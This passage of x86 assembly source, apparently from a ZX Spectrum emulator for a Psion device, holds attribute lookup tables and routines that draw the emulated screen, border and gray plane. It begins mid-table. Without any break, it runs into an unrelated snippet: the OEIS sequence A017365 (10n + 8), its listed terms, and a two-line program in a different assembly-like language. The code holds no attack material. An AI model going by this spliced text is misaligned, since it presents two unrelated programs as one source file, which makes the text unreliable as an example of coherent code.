BW01, BW11, BW10, BW10, BW10 DB BW01, BW01, BW01, BW01, BW01, BW11, BW10, BW10 DB BW01, BW01, BW01, BW01, BW01, BW01, BW11, BW10 DB BW01, BW01, BW01, BW01, BW01, BW01, BW01, BW11 DB BW00, BW10, BW10, BW10, BW10, BW10, BW10, BW10 DB BW01, BW00, BW10, BW10, BW10, BW10, BW10, BW10 DB BW01, BW01, BW00, BW10, BW10, BW10, BW10, BW10 DB BW01, BW01, BW01, BW00, BW10, BW10, BW10, BW10 DB BW01, BW01, BW01, BW01, BW11, BW10, BW10, BW10 DB BW01, BW01, BW01, BW01, BW01, BW11, BW10, BW10 DB BW01, BW01, BW01, BW01, BW01, BW01, BW11, BW10 DB BW01, BW01, BW01, BW01, BW01, BW01, BW01, BW11 ; ----------------------------------------------------------------------------- AttrTableGR DB GR00, GR00, GR01, GR01, GR01, GR02, GR02, GR02 DB GR00, GR00, GR01, GR01, GR01, GR02, GR02, GR02 DB GR10, GR10, GR11, GR11, GR11, GR12, GR12, GR12 DB GR10, GR10, GR11, GR11, GR11, GR12, GR12, GR12 DB GR10, GR10, GR11, GR11, GR11, GR12, GR12, GR12 DB GR20, GR20, GR21, GR21, GR21, GR22, GR22, GR22 DB GR20, GR20, GR21, GR21, GR21, GR22, GR22, GR22 DB GR20, GR20, GR21, GR21, GR21, GR22, GR22, GR22 DB GR00, GR00, GR01, GR01, GR01, GR02, GR02, GR02 DB GR00, GR00, GR01, GR01, GR01, GR02, GR02, GR02 DB GR10, GR10, GR11, GR11, GR11, GR12, GR12, GR12 DB GR10, GR10, GR11, GR11, GR11, GR12, GR12, GR12 DB GR10, GR10, GR11, GR11, GR11, GR12, GR12, GR12 DB GR20, GR20, GR21, GR21, GR21, GR22, GR22, GR22 DB GR20, GR20, GR21, GR21, GR21, GR22, GR22, GR22 DB GR20, GR20, GR21, GR21, GR21, GR22, GR22, GR22 DB GR00, GR00, GR10, GR10, GR10, GR20, GR20, GR20 DB GR00, GR00, GR10, GR10, GR10, GR20, GR20, GR20 DB GR01, GR01, GR11, GR11, GR11, GR21, GR21, GR21 DB GR01, GR01, GR11, GR11, GR11, GR21, GR21, GR21 DB GR01, GR01, GR11, GR11, GR11, GR21, GR21, GR21 DB GR02, GR02, GR12, GR12, GR12, GR22, GR22, GR22 DB GR02, GR02, GR12, GR12, GR12, GR22, GR22, GR22 DB GR02, GR02, GR12, GR12, GR12, GR22, GR22, GR22 DB GR00, GR00, GR10, GR10, GR10, GR20, GR20, GR20 DB GR00, GR00, GR10, GR10, GR10, GR20, GR20, GR20 DB GR01, GR01, GR11, GR11, GR11, GR21, GR21, GR21 DB GR01, GR01, GR11, GR11, GR11, GR21, GR21, GR21 DB GR01, GR01, GR11, GR11, GR11, GR21, GR21, GR21 DB GR02, GR02, GR12, GR12, GR12, GR22, GR22, GR22 DB GR02, GR02, GR12, GR12, GR12, GR22, GR22, GR22 DB GR02, GR02, GR12, GR12, GR12, GR22, GR22, GR22 ; ----------------------------------------------------------------------------- AttrRoutineBW DW BW_00_00 DW BW_00_01 DW BW_00_10 DW BW_00_11 DW BW_01_00 DW BW_01_01 DW BW_01_10 DW BW_01_11 DW BW_10_00 DW BW_10_01 DW BW_10_10 DW BW_10_11 DW BW_11_00 DW BW_11_01 DW BW_11_10 DW BW_11_11 ; ----------------------------------------------------------------------------- AttrRoutineGR DW GR_00 DW GR_01 DW GR_02 DW GR_10 DW GR_11 DW GR_12 DW GR_20 DW GR_21 DW GR_22 ; ----------------------------------------------------------------------------- BorderTable DW BorderBW_1 DW BorderBW_1 DW BorderBW_1 DW BorderBW_1 DW BorderBW_1 DW BorderBW_1 DW BorderBW_1 DW BorderBW_1 DW BorderBW_0 DW BorderBW_0 DW BorderBW_0 DW BorderBW_0 DW BorderBW_1 DW BorderBW_1 DW BorderBW_1 DW BorderBW_1 DW BorderBW_0 DW BorderBW_0 DW BorderGR_1 DW BorderGR_1 DW BorderGR_1 DW BorderGR_2 DW BorderGR_2 DW BorderGR_2 ; ----------------------------------------------------------------------------- BW_00_00: inc si inc si mov ax, cx stosw ret BW_00_01: lodsw mov ah, ch not al xlat cs:BitSwapTable stosw ret BW_00_10: lodsw mov ah, ch xlat cs:BitSwapTable stosw ret BW_00_11: inc si inc si mov ah, ch xor al, al stosw ret BW_01_00: lodsw mov al, ah xlat cs:BitSwapTable mov ah, al not ah mov al, cl stosw ret BW_01_01: lodsw xlat cs:BitSwapTable xchg al, ah xlat cs:BitSwapTable xchg al, ah not ax stosw ret BW_01_10: lodsw xlat cs:BitSwapTable xchg al, ah xlat cs:BitSwapTable xchg al, ah not ah stosw ret BW_01_11: lodsw mov al, ah xlat cs:BitSwapTable mov ah, al not ah xor al, al stosw ret BW_10_00: lodsw mov al, ah xlat cs:BitSwapTable mov ah, al mov al, cl stosw ret BW_10_01: lodsw xlat cs:BitSwapTable xchg al, ah xlat cs:BitSwapTable xchg al, ah not al stosw ret BW_10_10: lodsw xlat cs:BitSwapTable xchg al, ah xlat cs:BitSwapTable xchg al, ah stosw ret BW_10_11: lodsw mov al, ah xlat cs:BitSwapTable mov ah, al xor al, al stosw ret BW_11_00: inc si inc si mov al, cl xor ah, ah stosw ret BW_11_01: lodsw xlat cs:BitSwapTable not al xor ah, ah stosw ret BW_11_10: lodsw xlat cs:BitSwapTable xor ah, ah stosw ret BW_11_11: inc si inc si xor ax, ax stosw ret ; ----------------------------------------------------------------------------- GR_00: inc si mov al, ch stosb ret GR_01: lodsb xlat cs:BitSwapTable mov es:[di+ScrGray], al not al stosb ret GR_02: lodsb xlat cs:BitSwapTable mov es:[di+ScrGray], cl not al stosb ret GR_10: lodsb xlat cs:BitSwapTable mov es:[di+ScrGray], ch stosb ret GR_11: inc si mov es:[di+ScrGray], ch mov al, cl stosb ret GR_12: lodsb xlat cs:BitSwapTable not al mov es:[di+ScrGray], al mov al, cl stosb ret GR_20: lodsb xlat cs:BitSwapTable mov es:[di+ScrGray], cl stosb ret GR_21: lodsb xlat cs:BitSwapTable mov es:[di+ScrGray], al mov al, cl stosb ret GR_22: inc si mov es:[di+ScrGray], cl mov al, cl stosb ret ; ----------------------------------------------------------------------------- BorderBW: stosw add di, 32 stosw add di, ScrRowNext-4 loop BorderBW ret BorderGR: mov es:[di+ScrGray], bx stosw add di, 32 mov es:[di+ScrGray], bx stosw add di, ScrRowNext-4 loop BorderGR ret BorderBW_0: mov ax, 0FFFFh jmp BorderBW BorderBW_1: xor ax, ax jmp BorderBW BorderGR_1: xor ax, ax mov bx, 0FFFFh jmp BorderGR BorderGR_2: xor ax, ax mov bx, ax jmp BorderGR ; ----------------------------------------------------------------------------- ZX_DrawScreen PROC ; si = RqPtr, bp = IntPtr cli push si ; dx = pointer to ZX screen rows starts mov dx, [si].RqA1Ptr ; get mask mov cx, [si].RqA2Ptr ; calculate initial attribute address mov bx, dx mov al, [bx] mov ah, 058h dec ax dec ax mov si, ax ; store data segment mov cs:DataSeg, ds ; get ZX memory segment into ds GenDataSegment mov bx, cs:ZXMemorySeg mov ds, es:[bx] ; store ZX segment mov cs:ZXSeg, ds ; get Psion screen segment into es mov ax, ScrSegment mov es, ax ; get initial address in Psion screen mov di, ScrRowSkip ; ink mode ? mov bx, offset DrawIN cmp cl, DrawModeIN jz DoDraw ; black & white mode ? mov bx, offset DrawBW cmp cl, DrawModeBW jz DoDraw ; gray mode mov bx, offset DrawGR ; call drawing routine DoDraw: call bx ; restore segment registers mov ds, [bp].IntDS mov es, [bp].IntES pop si sti ret ZX_DrawScreen ENDP ; ----------------------------------------------------------------------------- DrawIN PROC NEAR ; prepared: cx, dx, si, di, ds, es cld mov bx, offset BitSwapTable mov cx, ScrHeight ; fetch next ZX screen row start address NextRowIN: mov ds, cs:DataSeg mov si, dx lodsw mov dx, si mov ds, cs:ZXSeg mov si, ax ; copy 32 bytes (with bit swap) from ds:si to es:di DrawInkBytes DrawInkBytes DrawInkBytes DrawInkBytes DrawInkBytes DrawInkBytes DrawInkBytes DrawInkBytes DrawInkBytes DrawInkBytes DrawInkBytes DrawInkBytes DrawInkBytes DrawInkBytes DrawInkBytes DrawInkBytes ; move to next screen row add di, ScrRowNext ; iterate dec cx jz EndDrawIN jmp NextRowIN EndDrawIN: ret DrawIN ENDP ; ----------------------------------------------------------------------------- DrawBW PROC NEAR ; prepared: cx, dx, si, di, ds, es push si ; store flash mask mov cl, ch mov cs:FlashMask, cx ; invalidate ScrPtr mov byte ptr cs:ScrPtr, cl ; get start of row in ZX screen into ax NextRowBW: mov ds, cs:DataSeg mov si, dx lodsw mov dx, si mov ds, cs:ZXSeg ; check if next attributes must be compiled cmp al, byte ptr cs:ScrPtr mov cs:ScrPtr, ax jnz CompileBW ; rewind program sub sp, 32+2 ; prepare to run RunBW: mov si, ax mov bx, offset BitSwapTable mov cx, 0FFFFh ; ret will start compiled program cld ret CompileBW: ; get stored ZX attribute addr into si pop si add si, 32 push si ; store pointer again std mov cx, 16 ; store program termination point push offset ProgEndBW NextAttrBW: lodsw ; apply flash and ax, cs:FlashMask ; ax = ATTR2:ATTR1 mov bx, offset AttrTableBW xlat cs:AttrTableBW xchg al, ah xlat cs:AttrTableBW ; ah = code[ATTR1], al = code[ATTR2] add al, al add al, al add al, ah mov bl, al xor bh, bh add bx, bx ; bx = 2*(al + 4*ah) push word ptr cs:[bx+AttrRoutineBW] ; next ? loop NextAttrBW ; run compiled program mov ax, cs:ScrPtr jmp RunBW ; check if at the end of screen ProgEndBW: add di, ScrRowNext cmp di, ScrRowSkip+ScrBytes jnz NextRowBW pop ax ret DrawBW ENDP ; ----------------------------------------------------------------------------- DrawGR PROC NEAR ; prepared: cx, dx, si, di, ds, es push si ; store flash mask mov cl, ch mov cs:FlashMask, cx ; invalidate ScrPtr mov byte ptr cs:ScrPtr, cl ; get start of row in ZX screen into ax NextRowGR: mov ds, cs:DataSeg mov si, dx lodsw mov dx, si mov ds, cs:ZXSeg ; check if next attributes must be compiled cmp al, byte ptr cs:ScrPtr mov cs:ScrPtr, ax jnz CompileGR ; rewind program sub sp, 32*2+2 ; prepare to run RunGR: mov si, ax mov bx, offset BitSwapTable mov cx, 0FF00h ; ret will start compiled program cld ret CompileGR: ; get stored ZX attribute addr into si pop si add si, 32 push si ; store pointer again std mov cx, 16 ; store program termination point push offset ProgEndGR NextAttrGR: lodsw ; apply flash and ax, cs:FlashMask ; ax = ATTR2:ATTR1 mov bx, offset AttrTableGR xchg al, ah xlat cs:AttrTableGR mov bl, al xor bh, bh add bx, bx ; bx = 2*code[ATTR2] push word ptr cs:[bx+AttrRoutineGR] mov bx, offset AttrTableGR mov al, ah xlat cs:AttrTableGR mov bl, al xor bh, bh add bx, bx ; bx = 2*code[ATTR1] push word ptr cs:[bx+AttrRoutineGR] ; process next attributes on a row loop NextAttrGR ; run compiled program mov ax, cs:ScrPtr jmp RunGR ; check if at the end of screen ProgEndGR: add di, ScrRowNext cmp di, ScrRowSkip+ScrBytes jnz NextRowGR pop ax ret DrawGR ENDP ; ----------------------------------------------------------------------------- ZX_DrawBorder PROC ; si = RqPtr, bp = IntPtr cli push si ; ax = 16*color mode mov ax, [si].RqA1Ptr xor ah, ah shl ax, 4 ; bx = 2*border color mov bl, cs:[AllPorts+0FEh] and bl, 007h xor bh, bh add bx, bx ; bx = drawing routine add bx, ax mov bx, cs:[bx+BorderTable] ; compare with last used drawing routine cmp bx, cs:LastBorder mov cs:LastBorder, bx jz Finished ; get Psion screen segment into es mov ax, ScrSegment mov es, ax ; draw border mov cx, 160 mov di, ScrRowSkip-2 call bx ; restore segment registers Finished: mov es, [bp].IntES pop si sti ret ZX_DrawBorder ENDP ; ----------------------------------------------------------------------------- ZX_EraseGray PROC cli push si ; get Psion screen segment into es mov ax, ScrSegment mov es, ax ; prepare to erase gray plane xor ax, ax mov bx, 160 mov di, ScrGray + ScrRowSkip - 2 EraseNext: mov cx, 16+2 rep stosw add di, ScrRowNext - 4 dec bx jnz EraseNext ; restore segments mov es, [bp].IntES pop si sti ret ZX_EraseGray ENDP ; ----------------------------------------------------------------------------- ZX_ForceRedraw PROC ; invalidate last border color to force redraw xor ax, ax mov cs:LastBorder, ax ret ZX_ForceRedraw ENDP ; -----------------------------------------------------------------------------
; A017365: a(n) = 10n + 8. ; 8,18,28,38,48,58,68,78,88,98,108,118,128,138,148,158,168,178,188,198,208,218,228,238,248,258,268,278,288,298,308,318,328,338,348,358,368,378,388,398,408,418,428,438,448,458,468,478,488,498,508,518,528,538,548,558,568,578,588,598,608,618,628,638,648,658,668,678,688,698,708,718,728,738,748,758,768,778,788,798,808,818,828,838,848,858,868,878,888,898,908,918,928,938,948,958,968,978,988,998 mul $0,10 add $0,8